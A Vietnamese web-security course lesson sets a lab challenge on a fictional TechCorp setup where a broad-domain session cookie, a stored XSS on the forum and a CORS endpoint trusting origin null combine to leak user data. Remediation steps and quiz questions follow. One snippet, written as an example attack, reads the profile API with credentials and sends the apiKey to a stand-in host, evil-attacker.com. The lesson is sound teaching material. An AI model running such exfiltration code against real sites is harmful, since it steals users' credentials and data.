Nền tảng An toàn Web & Cơ chế Trình duyệt
12/20
Bài 12 / 20~15 phútMô hình Bảo mật Trình duyệtMiễn phí… lượt xem

Thực hành: Giải mã chính sách bảo mật trình duyệt đa miền

Thử thách độc lập: Đánh giá kiến trúc gồm nhiều subdomains, cấu hình CORS, Cookie flags và CSP để phát hiện đường đi rò rỉ token người dùng.

TL;DR: Thử thách này mô phỏng một hệ sinh thái ứng dụng doanh nghiệp gồm ba domain khác nhau: cổng xác thực SSO, trang dashboard quản trị và một diễn đàn cộng đồng cho phép người dùng nhúng hình ảnh. Hệ thống đã triển khai cả CORS, Cookie flags và CSP, nhưng sự thiếu đồng bộ giữa các tầng cấu hình đã vô tình tạo ra một con đường rò rỉ token nhạy cảm. Bạn sẽ đóng vai trò là chuyên gia thẩm định an toàn thông tin, đọc cấu hình HTTP response của từng dịch vụ, phân tích ranh giới tin cậy và chỉ ra chính xác chuỗi kết hợp dẫn tới việc rò rỉ phiên làm việc của người dùng.

1. Kịch bản kiến trúc: Hệ sinh thái TechCorp

Bạn được mời đánh giá an ninh cho nền tảng của tập đoàn techcorp.com. Đội ngũ kỹ thuật tự tin tuyên bố họ đã thiết lập đầy đủ các biện pháp phòng vệ theo chuẩn:

  1. Trang xác thực trung tâm (auth.techcorp.com): Khi người dùng đăng nhập thành công, server trả về cookie phiên với cấu hình:

    HTTP
    Set-Cookie: session_token=SECRET_AUTH_9981; Domain=.techcorp.com; Path=/; Secure; HttpOnly; SameSite=Lax
    

    Mục đích: Đội ngũ kỹ thuật muốn người dùng chỉ cần đăng nhập một lần là có thể truy cập tất cả các dịch vụ nội bộ thuộc *.techcorp.com. Như đã học ở bài 03-cookie-security-flags, họ đã bật đủ Secure, HttpOnly và SameSite=Lax.

  2. Cổng thông tin quản trị (portal.techcorp.com): Trang web quản trị nội bộ chứa dữ liệu lương và tài chính nhạy cảm. Trang này cấu hình CSP rất nghiêm ngặt theo bài học 04-content-security-policy-csp-co-ban:

    HTTP
    Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-XYZ'; object-src 'none';
    
  3. Diễn đàn người dùng (forum.techcorp.com): Hệ thống diễn đàn mở cho phép nhân viên và đối tác trao đổi thông tin. Do cần gọi API lấy avatar người dùng từ các ứng dụng di động và đối tác thứ ba, lập trình viên cấu hình CORS endpoint /api/profile:

    HTTP
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: null
    Access-Control-Allow-Credentials: true
    Content-Type: application/json
    
    { "email": "[email protected]", "role": "SuperAdmin", "apiKey": "live_key_a8f9c0" }
    

    Hơn nữa, diễn đàn này vừa bị phát hiện một lỗi Cross-Site Scripting (XSS) dạng lưu trữ (Stored XSS) trong phần chữ ký (Signature) của bài viết, do không lọc thẻ HTML đầu vào.

2. Phân tích chuỗi rủi ro (Exploit Chain Reconstruction)

Chuỗi rò rỉ phiên làm việc trong kiến trúc Đa Subdomain

Hình 2.5: Chuỗi kết hợp rủi ro giữa phạm vi Cookie quá rộng, lỗ hổng XSS tại subdomain phụ và cấu hình CORS lỏng lẻo.

Dưới lăng kính của 01-same-origin-policy-sop và 02-cors-va-nhung-hieu-lam-tai-hai, hãy quan sát tương tác giữa các thành phần:

  1. Ranh giới Cookie: Thuộc tính Domain=.techcorp.com khiến trình duyệt tự động đính kèm session_token khi gửi bất kỳ request nào tới auth.techcorp.com, portal.techcorp.com, và cả forum.techcorp.com!
  2. Kẻ hở XSS: Kẻ tấn công inject mã JavaScript vào diễn đàn forum.techcorp.com.
  3. Mục tiêu: Kẻ tấn công muốn đánh cắp dữ liệu của SuperAdmin khi vị quản trị viên này ghé thăm diễn đàn.

Hãy thử kiểm tra phán đoán chiến thuật của bạn:

Dự đoán & Phản xạ (Predict)

Kẻ tấn công có thể thực thi đoạn mã JavaScript nào sau đây trên forum.techcorp.com để đánh cắp session_token trực tiếp từ document.cookie không?

3. Bài tập thực hành: Vạch mặt đường rò rỉ dữ liệu

Mặc dù HttpOnly ngăn chặn việc đọc trực tiếp session_token, kẻ tấn công vẫn có thể chiếm đoạt tài khoản hoặc dữ liệu thông qua cơ chế CORS và các API nội bộ.

🐛 Tìm bug trong code này
// Doan script doc hai hacker inject vao chu ky tren forum.techcorp.com
fetch('https://forum.techcorp.com/api/profile', {
credentials: 'include'
})
.then(res => res.json())
.then(data => {
// Gui du lieu nhay cam ve may chu cua hacker
fetch('https://evil-attacker.com/leak?apiKey=' + encodeURIComponent(data.apiKey));
});

Thử thách tư duy: CORS Misconfiguration kết hợp Sandbox Iframe

Nhìn lại response header của endpoint /api/profile:

HTTP
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Nếu một trang web của hacker (https://evil-attacker.com) nhúng một iframe sandbox (không có cờ allow-same-origin), request gửi từ iframe đó sẽ có header Origin: null. Nếu máy chủ của TechCorp ngây thơ trả lời Access-Control-Allow-Origin: null kèm Access-Control-Allow-Credentials: true:

[!NOTE] Điều kiện đính kèm Cookie Trên các trình duyệt hiện đại, cookie được gắn SameSite=Lax (hoặc Strict) sẽ bị chặn đính kèm trong các request fetch subresource chéo site xuất phát từ trang ngoài evil-attacker.com. Do đó, vector tấn công qua Origin: null từ iframe ngoài chỉ khả thi nếu cookie thiếu cấu hình SameSite (hoặc đặt SameSite=None). Trong kịch bản có SameSite=Lax, mắt xích khai thác thực tế và nguy hiểm nhất chính là lỗ hổng Stored XSS trực tiếp trên cùng site (forum.techcorp.com) như đã phân tích ở trên!

4. Phương án khắc phục toàn diện

Để bẻ gãy chuỗi khai thác này, đội ngũ bảo mật TechCorp cần thực hiện 3 bước tái cấu trúc:

  1. Thu hẹp phạm vi Cookie (Principle of Least Privilege): Loại bỏ Domain=.techcorp.com. Hãy để cookie gắn chặt với từng Origin cụ thể (Host-Only Cookie) bằng tiền tố __Host-:
    HTTP
    Set-Cookie: __Host-session=SECRET_VALUE; Path=/; Secure; HttpOnly; SameSite=Strict
    
  2. Loại bỏ cấu hình CORS nguy hiểm: Không bao giờ tin tưởng Origin: null kèm theo credentials. Áp dụng whitelist chặt chẽ các domain nội bộ đã được xác thực danh tính.
  3. Triển khai CSP đồng bộ trên toàn bộ subdomains: Trang forum.techcorp.com bắt buộc phải áp dụng CSP chặn đứng việc kết nối ra ngoài (connect-src 'self'), cô lập hoàn toàn nỗ lực tẩu tán dữ liệu khi có lỗi XSS.

5. Tổng kết

Thử thách trên chứng minh một chân lý cốt lõi: Bảo mật web là một chuỗi mắt xích liên hoàn. Một mắt xích yếu (subdomain forum có lỗi XSS và cấp quyền cookie quá rộng) có thể kéo sập toàn bộ hàng rào bảo mật được dựng lên công phu ở các hệ thống khác.

Bài tiếp theo: 06-tong-ket-module

Tự kiểm tra
0/6 câu đã trả lời
  1. Q1
    Tại sao việc đặt 'Domain=.techcorp.com' cho cookie phiên đăng nhập lại tiềm ẩn rủi ro cao trong kiến trúc nhiều subdomain?
  2. Q2
    Nếu cờ HttpOnly đã được bật, tại sao mã JavaScript độc hại trên cùng subdomain vẫn có thể thực hiện hành vi xấu?
  3. Q3
    Tại sao cấu hình 'Access-Control-Allow-Origin: null' đi kèm 'Access-Control-Allow-Credentials: true' là cực kỳ nguy hiểm?
  4. Q4
    Tiền tố cookie nào bảo đảm cookie chỉ được gửi tới đúng host đặt ra nó và bắt buộc phải qua HTTPS?
  5. Q5
    Lớp phòng thủ Content Security Policy (CSP) nào có thể chặn đứng việc JavaScript tuồn dữ liệu nhạy cảm về server của hacker ('https://evil-attacker.com')?
  6. Q6
    Khi người dùng click vào một đường link liên kết từ trang hacker sang trang TechCorp, cookie phiên có SameSite=Lax sẽ được xử lý ra sao?

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Tổng kết module Mô hình Bảo mật Trình duyệt